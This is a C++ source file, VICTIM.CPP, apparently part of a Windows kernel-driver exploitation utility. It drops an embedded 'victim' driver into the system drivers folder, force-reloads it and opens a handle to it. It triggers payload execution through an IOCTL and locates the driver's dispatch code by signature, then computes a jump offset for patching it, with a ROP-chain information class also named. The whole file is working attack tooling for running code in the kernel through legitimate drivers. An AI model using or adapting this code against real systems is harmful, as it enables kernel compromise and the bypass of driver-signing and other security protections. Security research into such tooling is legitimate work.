Files
hfiref0x 383f8929a2 Add hypervisor & environment detection and fixes
Improve diagnostics and fix some bugs

Signed-off-by: hfiref0x <hfiref0x@users.noreply.github.com>
2026-04-02 13:14:30 +07:00

719 lines
16 KiB
C++

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2018 - 2026
*
* TITLE: VICTIM.CPP
*
* VERSION: 1.48
*
* DATE: 01 Apr 2026
*
* Victim support routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
/*
* VpCreate
*
* Purpose:
*
* Load victim and obtain handle to it.
*
*/
BOOL VpCreate(
_Inout_ PKDU_VICTIM_PROVIDER Context,
_In_opt_ HINSTANCE ModuleBase,
_Out_opt_ PHANDLE VictimHandle,
_In_opt_ pfnLoadDriverCallback Callback,
_In_opt_ PVOID CallbackParam
)
{
supPrintfEvent(kduEventInformation,
"[+] Processing victim \"%ws\" driver\r\n",
Context->Desc);
return Context->Callbacks.Create(
ModuleBase,
Context->Name,
Context->ResourceId,
Context->DesiredAccess,
VictimHandle,
&Context->Data.VictimImage,
Callback,
CallbackParam);
}
/*
* VpRelease
*
* Purpose:
*
* Unload victim and close it handle.
*
*/
BOOL VpRelease(
_In_ PKDU_VICTIM_PROVIDER Context,
_Inout_opt_ PHANDLE VictimHandle
)
{
HANDLE victimHandle;
if (VictimHandle) {
victimHandle = *VictimHandle;
if (victimHandle) {
NtClose(victimHandle);
*VictimHandle = NULL;
}
}
if (Context->Data.VictimImage)
VirtualFree(Context->Data.VictimImage, 0, MEM_RELEASE);
return Context->Callbacks.Release(Context->Name);
}
/*
* VpExecutePayload
*
* Purpose:
*
* Execute payload inside victim.
*
*/
VOID VpExecutePayload(
_In_ PKDU_VICTIM_PROVIDER Context,
_Out_opt_ PHANDLE VictimHandle
)
{
Context->Callbacks.Execute(Context->Name,
Context->DesiredAccess,
VictimHandle);
}
/*
* VppLoadUnloadDriver
*
* Purpose:
*
* Load/Unload driver using Native API.
* This routine will try to force unload driver on loading if Force parameter set to TRUE.
*
*/
NTSTATUS VppLoadUnloadDriver(
_In_ LPCWSTR Name,
_In_ LPCWSTR ImagePath,
_In_ BOOLEAN Force,
_In_ BOOLEAN Unload,
_In_opt_ pfnLoadDriverCallback Callback,
_In_opt_ PVOID CallbackParam
)
{
NTSTATUS ntStatus;
if (Unload) {
ntStatus = supUnloadDriver(Name, TRUE);
}
else {
ntStatus = supLoadDriverEx(Name, ImagePath, Force, Callback, CallbackParam);
}
return ntStatus;
}
/*
* VppBuildDriverName
*
* Purpose:
*
* Create filepath for given victim name.
*
*/
LPWSTR VppBuildDriverName(
_In_ LPCWSTR VictimName
)
{
LPWSTR lpFileName;
SIZE_T cchLength = MAX_PATH * 2;
SIZE_T cbLength = cchLength * sizeof(WCHAR);
lpFileName = (LPWSTR)supHeapAlloc(cbLength);
if (lpFileName == NULL) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
}
else {
if (FAILED(StringCchPrintf(lpFileName,
cchLength,
L"%ws\\system32\\drivers\\%ws.sys",
USER_SHARED_DATA->NtSystemRoot,
VictimName)))
{
supHeapFree(lpFileName);
lpFileName = NULL;
SetLastError(ERROR_BUFFER_OVERFLOW);
}
}
return lpFileName;
}
/*
* VpCreateCallback
*
* Purpose:
*
* Drop, load and reference victim driver.
*
*/
BOOL VpCreateCallback(
_In_ HINSTANCE ModuleBase,
_In_ LPCWSTR Name, //same as device name
_In_ ULONG ResourceId,
_In_ ACCESS_MASK DesiredAccess,
_Out_opt_ PHANDLE VictimHandle,
_Out_opt_ PVOID* VictimImage,
_In_opt_ pfnLoadDriverCallback Callback,
_In_opt_ PVOID CallbackParam
)
{
BOOL bResult = FALSE;
NTSTATUS ntStatus;
PBYTE drvBuffer = NULL;
ULONG resourceSize = 0;
LPWSTR driverFileName = NULL;
HANDLE deviceHandle = NULL;
if (VictimHandle)
*VictimHandle = NULL;
if (VictimImage)
*VictimImage = NULL;
driverFileName = VppBuildDriverName(Name);
if (driverFileName) {
do {
if (supIsObjectExists((LPWSTR)L"\\Device", Name)) {
supPrintfEvent(kduEventError,
"[!] Victim driver already loaded, force reload\r\n");
supPrintfEvent(kduEventError,
"[!] Attempt to unload %ws\r\n", Name);
ntStatus = VppLoadUnloadDriver(Name,
driverFileName,
FALSE,
TRUE,
NULL,
NULL);
if (!NT_SUCCESS(ntStatus))
{
supShowHardError("[!] Could not force unload victim, abort", ntStatus);
break;
}
else {
supPrintfEvent(kduEventInformation,
"[+] Previous instance of victim driver unloaded\r\n");
}
}
drvBuffer = (PBYTE)KDULoadResource(ResourceId,
ModuleBase,
&resourceSize,
PROVIDER_RES_KEY,
TRUE);
if (drvBuffer == NULL) {
SetLastError(ERROR_FILE_NOT_FOUND);
break;
}
if (VictimImage) {
DWORD vSize = 0;
PVOID vpImage = PELoaderLoadImage(drvBuffer, &vSize);
if (vpImage == NULL) {
supPrintfEvent(kduEventError,
"[!] Could not map victim image, abort\r\n");
SetLastError(ERROR_INTERNAL_ERROR);
break;
}
printf_s("[+] Mapped victim image at %p with size 0x%lX bytes\r\n", vpImage, vSize);
*VictimImage = vpImage;
}
ULONG writeBytes;
printf_s("[+] Extracting victim driver \"%ws\" as \"%ws\"\r\n", Name, driverFileName);
writeBytes = (ULONG)supWriteBufferToFile(driverFileName,
drvBuffer,
resourceSize,
TRUE,
FALSE,
&ntStatus);
supHeapFree(drvBuffer);
if (resourceSize != writeBytes) {
//
// Driver is in use.
//
if (ntStatus == STATUS_SHARING_VIOLATION) {
supPrintfEvent(kduEventError,
"[!] Sharing violation, driver maybe in use, please close all application(s) that are using this driver\r\n");
}
else {
supShowHardError("[!] Could not extract victim driver, abort", ntStatus);
}
SetLastError(RtlNtStatusToDosError(ntStatus));
break;
}
ntStatus = VppLoadUnloadDriver(Name,
driverFileName,
TRUE,
FALSE,
Callback,
CallbackParam);
if (NT_SUCCESS(ntStatus)) {
SetLastError(ERROR_SUCCESS);
if (VictimHandle) {
ntStatus = supOpenDriver(Name, DesiredAccess, &deviceHandle);
if (NT_SUCCESS(ntStatus)) {
*VictimHandle = deviceHandle;
}
else {
SetLastError(RtlNtStatusToDosError(ntStatus));
}
}
bResult = TRUE;
}
else {
SetLastError(RtlNtStatusToDosError(ntStatus));
}
} while (FALSE);
supHeapFree(driverFileName);
}
return bResult;
}
/*
* VpReleaseCallback
*
* Purpose:
*
* Unload victim driver.
*
*/
BOOL VpReleaseCallback(
_In_ LPCWSTR Name
)
{
BOOL bResult = FALSE;
LPWSTR driverFileName = VppBuildDriverName(Name);
if (driverFileName) {
bResult = NT_SUCCESS(VppLoadUnloadDriver(Name, driverFileName, FALSE, TRUE, NULL, NULL));
DeleteFile(driverFileName);
supHeapFree(driverFileName);
}
return bResult;
}
/*
* VpExecuteCallback
*
* Purpose:
*
* Execute victim payload.
*
*/
VOID VpExecuteCallback(
_In_ LPCWSTR Name,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE VictimHandle
)
{
supOpenDriver(Name, DesiredAccess, VictimHandle);
}
/*
* VpExecuteCallbackEx
*
* Purpose:
*
* Execute victim payload by IOCTL call.
*
*/
VOID VpExecuteCallbackEx(
_In_ LPCWSTR Name,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE VictimHandle
)
{
HANDLE victimHandle = NULL;
ULONG dummy = 0;
if (NT_SUCCESS(supOpenDriver(Name, DesiredAccess, &victimHandle))) {
supCallDriver(victimHandle, 0xBADDAB, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
}
*VictimHandle = victimHandle;
}
/*
* VppOpenExistingDriverDevice
*
* Purpose:
*
* Open existing victim by it device name.
*
*/
BOOL VppOpenExistingDriverDevice(
_In_ LPCWSTR Name,
_In_ ACCESS_MASK DesiredAccess,
_Out_opt_ PHANDLE VictimHandle
)
{
HANDLE deviceHandle = NULL;
NTSTATUS ntStatus;
LPWSTR lpDeviceName;
SIZE_T sz;
if (VictimHandle)
*VictimHandle = NULL;
sz = 64 + (1 + _strlen(Name)) * sizeof(WCHAR);
lpDeviceName = (LPWSTR)supHeapAlloc(sz);
if (lpDeviceName) {
StringCchPrintf(lpDeviceName,
sz / sizeof(WCHAR),
L"\\Device\\%ws",
Name);
ntStatus = supOpenDriverEx(lpDeviceName, DesiredAccess, &deviceHandle);
if (NT_SUCCESS(ntStatus)) {
if (VictimHandle)
*VictimHandle = deviceHandle;
}
else {
SetLastError(RtlNtStatusToDosError(ntStatus));
}
supHeapFree(lpDeviceName);
}
return (deviceHandle != NULL);
}
/*
* VpExecuteFromExistingCallback
*
* Purpose:
*
* Execute victim payload in existing loaded driver.
*
*/
VOID VpExecuteFromExistingCallback(
_In_ LPCWSTR Name,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE VictimHandle
)
{
VppOpenExistingDriverDevice(Name, DesiredAccess, VictimHandle);
}
/*
* VpCreateFromExistingCallback
*
* Purpose:
*
* Create victim from existing loaded driver.
*
*/
BOOL VpCreateFromExistingCallback(
_In_ HINSTANCE ModuleBase,
_In_ LPCWSTR Name,
_In_ ULONG ResourceId,
_In_ ACCESS_MASK DesiredAccess,
_Out_opt_ PHANDLE VictimHandle,
_Out_opt_ PVOID* VictimImage,
_In_opt_ pfnLoadDriverCallback Callback,
_In_opt_ PVOID CallbackParam)
{
UNREFERENCED_PARAMETER(Callback);
UNREFERENCED_PARAMETER(CallbackParam);
if (VictimHandle) *VictimHandle = NULL;
if (VictimImage) {
*VictimImage = NULL;
DWORD resourceSize = 0;
PBYTE drvBuffer = (PBYTE)KDULoadResource(ResourceId,
ModuleBase,
&resourceSize,
PROVIDER_RES_KEY,
TRUE);
if (drvBuffer == NULL) {
SetLastError(ERROR_FILE_NOT_FOUND);
return FALSE;
}
DWORD vSize = 0;
PVOID vpImage = PELoaderLoadImage(drvBuffer, &vSize);
supHeapFree(drvBuffer);
if (vpImage == NULL) {
supPrintfEvent(kduEventError,
"[!] Could not map victim image, abort\r\n");
SetLastError(ERROR_INTERNAL_ERROR);
return FALSE;
}
printf_s("[+] Mapped victim image at %p with size 0x%lX bytes\r\n", vpImage, vSize);
*VictimImage = vpImage;
}
return VppOpenExistingDriverDevice(Name, DesiredAccess, VictimHandle);
}
/*
* VpReleaseCallbackStub
*
* Purpose:
*
* Stub routine.
*
*/
BOOL VpReleaseCallbackStub(
_In_ LPCWSTR Name
)
{
UNREFERENCED_PARAMETER(Name);
return TRUE;
}
/*
* VpLoadDriverCallback
*
* Purpose:
*
* supLoadDriverEx callback to store specific data in registry entry.
*
*/
NTSTATUS CALLBACK VpLoadDriverCallback(
_In_ PUNICODE_STRING RegistryPath,
_In_opt_ PVOID Param
)
{
ULONG victimId;
NTSTATUS ntStatus = STATUS_SUCCESS;
VICTIM_LOAD_PARAMETERS* params;
UNREFERENCED_PARAMETER(RegistryPath);
if (Param == NULL)
return STATUS_INVALID_PARAMETER_2;
params = (VICTIM_LOAD_PARAMETERS*)Param;
victimId = params->Provider->VictimId;
if (victimId >= KDU_VICTIM_MAX)
victimId = KDU_VICTIM_DEFAULT;
switch (victimId) {
case KDU_VICTIM_PE1627:
case KDU_VICTIM_PE1702:
default:
// None.
break;
}
return ntStatus;
}
/*
* VpQueryInformation
*
* Purpose:
*
* Query various victim information.
*
*/
_Success_(return != FALSE)
BOOL VpQueryInformation(
_In_ PKDU_VICTIM_PROVIDER Context,
_In_ VICTIM_INFORMATION VictimInformationClass,
_Inout_ PVOID Information,
_In_ ULONG InformationLength)
{
BOOL bResult = TRUE;
PVICTIM_IMAGE_INFORMATION imageInfo;
PVICTIM_DRIVER_INFORMATION driverInfo;
PVOID dispatchSignature = 0;
ULONG signatureSize = 0;
PVOID sectionBase;
ULONG sectionSize;
switch (VictimInformationClass) {
case VictimImageInformation:
if (InformationLength == sizeof(VICTIM_IMAGE_INFORMATION)) {
imageInfo = (VICTIM_IMAGE_INFORMATION*)Information;
dispatchSignature = Context->Data.DispatchSignature;
signatureSize = Context->Data.DispatchSignatureLength;
sectionBase = ntsupLookupImageSectionByName((CHAR*)TEXT_SECTION,
TEXT_SECTION_LENGTH,
(PVOID)Context->Data.VictimImage,
&sectionSize);
if (sectionBase && sectionSize) {
PBYTE ptrCode = NULL;
ptrCode = (PBYTE)ntsupFindPattern((PBYTE)sectionBase,
sectionSize,
(PBYTE)dispatchSignature,
signatureSize);
if (ptrCode) {
imageInfo->DispatchOffset = (ULONG_PTR)ptrCode & 0xffff;
imageInfo->DispatchPageOffset = imageInfo->DispatchOffset & 0xfff;
LONG_PTR rel = (LONG_PTR)sectionBase - (LONG_PTR)ptrCode - 5;
imageInfo->JumpValue = (ULONG)rel;
}
else {
SetLastError(ERROR_NOT_FOUND);
bResult = FALSE;
}
}
else {
SetLastError(ERROR_SECTION_NOT_FOUND);
bResult = FALSE;
}
}
else {
SetLastError(ERROR_INVALID_PARAMETER);
bResult = FALSE;
}
break;
case VictimDriverInformation:
if (InformationLength == sizeof(VICTIM_DRIVER_INFORMATION)) {
driverInfo = (VICTIM_DRIVER_INFORMATION*)Information;
PRTL_PROCESS_MODULE_INFORMATION target;
PRTL_PROCESS_MODULES modulesList = (PRTL_PROCESS_MODULES)supGetLoadedModulesList(FALSE, NULL);
if (modulesList) {
ANSI_STRING driverNameAs;
UNICODE_STRING driverNameUs;
WCHAR szTargetDriver[MAX_PATH];
StringCchPrintf(szTargetDriver, MAX_PATH, L"%ws.sys", Context->Name);
RtlInitUnicodeString(&driverNameUs, szTargetDriver);
driverNameAs.Buffer = NULL;
driverNameAs.Length = driverNameAs.MaximumLength = 0;
NTSTATUS ntStatus;
ntStatus = RtlUnicodeStringToAnsiString(&driverNameAs, &driverNameUs, TRUE);
if (NT_SUCCESS(ntStatus) && driverNameAs.Buffer) {
target = (PRTL_PROCESS_MODULE_INFORMATION)ntsupFindModuleEntryByName(modulesList, driverNameAs.Buffer);
if (target) {
driverInfo->LoadedImageBase = (ULONG_PTR)target->ImageBase;
driverInfo->ImageSize = target->ImageSize;
}
RtlFreeAnsiString(&driverNameAs);
}
else {
SetLastError(RtlNtStatusToDosError(ntStatus));
bResult = FALSE;
}
supHeapFree(modulesList);
}
else {
SetLastError(ERROR_INTERNAL_ERROR);
bResult = FALSE;
}
}
else {
SetLastError(ERROR_INVALID_PARAMETER);
bResult = FALSE;
}
break;
case VictimRopChainInformation:
UNREFERENCED_PARAMETER(Information);
bResult = FALSE;
break;
default:
UNREFERENCED_PARAMETER(Information);
bResult = FALSE;
break;
}
return bResult;
}